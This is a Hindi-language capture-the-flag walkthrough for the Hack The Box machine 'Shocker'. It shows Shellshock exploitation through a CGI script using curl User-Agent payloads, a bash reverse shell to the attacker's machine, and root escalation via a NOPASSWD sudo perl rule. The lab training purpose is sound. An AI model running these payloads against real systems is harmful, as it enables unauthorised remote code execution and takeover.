
संरचित HTB वॉकथ्रू जो Shellshock (CVE-2014-6271) शोषण को CGI निर्देशिका फ़ज़िंग के माध्यम से और गलत कॉन्फ़िगर किए गए sudo Perl अनुमतियों के माध्यम से GTFOBins का उपयोग करके विशेषाधिकार वृद्धि को प्रदर्शित करता है।
एक संरचित और पेशेवर वॉकथ्रू जो शेलशॉक भेद्यता की पहचान और मैन्युअल शोषण को प्रदर्शित करता है, इसके बाद लिनक्स लक्ष्य पर गलत कॉन्फ़िगर किए गए sudo अधिकारों के माध्यम से स्थानीय विशेषाधिकार वृद्धि की जाती है।
10.10.10.56/usr/bin/perl)आकलन की शुरुआत एक तीव्र, पूर्ण-पोर्ट TCP SYN स्कैन से होती है जो केवल खुले पोर्टों को लक्षित करता है (--open), होस्ट डिस्कवरी (-Pn) और DNS रिज़ॉल्यूशन (-n) को छोड़कर फुटप्रिंटिंग को गति देने के लिए।
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
प्रारंभिक स्कैन से दो सक्रिय सेवाएँ प्रकट होती हैं। हम एक द्वितीयक लक्षित स्कैन करते हैं ताकि आक्रामक संस्करण पहचान (-sCV) और स्क्रिप्ट-आधारित भेद्यता मूल्यांकन निष्पादित हो सके:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
अपने भेद्यता स्कैन के समानांतर, हम Apache सर्वर पर छिपे संसाधनों का मानचित्रण करने के लिए gobuster का उपयोग करके वेब निर्देशिका ब्रूट-फ़ोर्सिंग शुरू करते हैं। हम SecLists फ्रेमवर्क से एक मानक वर्डलिस्ट का उपयोग करते हैं:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
फ़ज़िंग प्रक्रिया एक अनुक्रमित नहीं की गई /cgi-bin/ निर्देशिका की पहचान करती है। पुरानी वेब परिनियोजन में, Apache सर्वर सर्वर-साइड स्क्रिप्ट को निष्पादित करने के लिए कॉमन गेटवे इंटरफ़ेस (CGI) का उपयोग करते हैं। मशीन के नाम और इस फ़ोल्डर की उपस्थिति को देखते हुए, हम निष्पादन योग्य स्क्रिप्ट्स (जैसे .sh, .cgi) की आक्रामक रूप से खोज करते हैं जो पर्यावरणीय चर इंजेक्शन दोषों के प्रति संवेदनशील हो सकती हैं।
आगे की गणना से /cgi-bin/ निर्देशिका के अंदर user.sh नामक एक स्क्रिप्ट का पता चलता है।
शेलशॉक (CVE-2014-6271) भेद्यता हमलावरों को HTTP अनुरोध हेडर (जैसे User-Agent) में दुर्भावनापूर्ण फ़ंक्शन परिभाषाओं को इंजेक्ट करके मनमाना ऑपरेटिंग सिस्टम कमांड निष्पादित करने की अनुमति देती है, जिन्हें भेद्य Bash उदाहरणों द्वारा संसाधित किया जाता है।
हम एक कस्टम curl कमांड तैयार करते हैं जो एक प्रूफ ऑफ कॉन्सेप्ट (PoC) पेलोड भेजता है, जो रिमोट सिस्टम को /usr/bin/id कमांड निष्पादित करने के लिए मजबूर करने के लिए डिज़ाइन किया गया है:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id कमांड के आउटपुट के साथ प्रतिक्रिया करता है, जो प्रमाणीकरण-जैसे अप्रमाणित रिमोट कोड निष्पादन (RCE) को मान्य करता है।अपने निष्पादन वेक्टर को एक इंटरैक्टिव सत्र में अपग्रेड करने के लिए, हम अपने हमला प्लेटफॉर्म पर एक स्थानीय Netcat लिसनर स्थापित करते हैं:
nc -lvnp 4444
इसके बाद, हम TCP पर कॉलबैक को बाध्य करने के लिए दुर्भावनापूर्ण User-Agent हेडर के अंदर एक मूल Bash रिवर्स शेल स्ट्रिंग इंजेक्ट करते हैं:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
सफल निष्पादन पर, हमें एक स्थिर निम्न-विशेषाधिकार शेल प्राप्त होता है:
$ whoami
shelly
सिस्टम पर एक कार्यात्मक उपयोगकर्ता संदर्भ के साथ, हम अपनी स्थानीय सीमाओं का ऑडिट करते हैं। हम यह निर्धारित करने के लिए sudo कॉन्फ़िगरेशन की जाँच करते हैं कि क्या shelly उपयोगकर्ता पासवर्ड प्रदान किए बिना उन्नत अनुमतियों के साथ कमांड निष्पादित करने के लिए अधिकृत है:
sudo -l
आउटपुट निम्नलिखित उच्च-जोखिम प्रविष्टि प्रकट करता है:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
क्योंकि हमारे पास perl बाइनरी को root के रूप में निष्पादित करने के लिए अप्रतिबंधित, अप्रमाणित पहुँच है, हम आसानी से बाइनरी प्रतिबंधों से बाहर निकल सकते हैं। GTFOBins का सन्दर्भ लेते हुए, हम एक निष्पादन रैपर पाते हैं जो Perl को मूल सिस्टम शेल (/bin/sh) में ड्रॉप करने का निर्देश देता है, जो निष्पादन पहचान संदर्भ (root) को बनाए रखता है:
sudo -u root perl -e 'exec "/bin/sh"'
हम तुरंत पूर्ण प्रशासनिक निष्पादन संदर्भ प्राप्त करते हैं:
# whoami
root
अब जब रूट पहुँच स्थापित हो गई है, तो हम समझौता प्रमाण प्राप्त करने के लिए प्रासंगिक होम निर्देशिकाओं में जाते हैं।
# उपयोगकर्ता फ्लैग तक पहुँच
cat /home/shelly/user.txt
# रूट फ्लैग तक पहुँच
cat /root/root.txt
sudo के माध्यम से perl, python, या bash जैसे शक्तिशाली अंतर्निहित दुभाषियों को निष्पादित करने के लिए अप्रतिबंधित पहुँच प्रदान करना तत्काल विस्तार वेक्टर का परिचय देता है। sudo पहुँच को गैर-इंटरैक्टिव, उच्च नियंत्रित प्रशासनिक स्क्रिप्ट तक सीमित किया जाना चाहिए।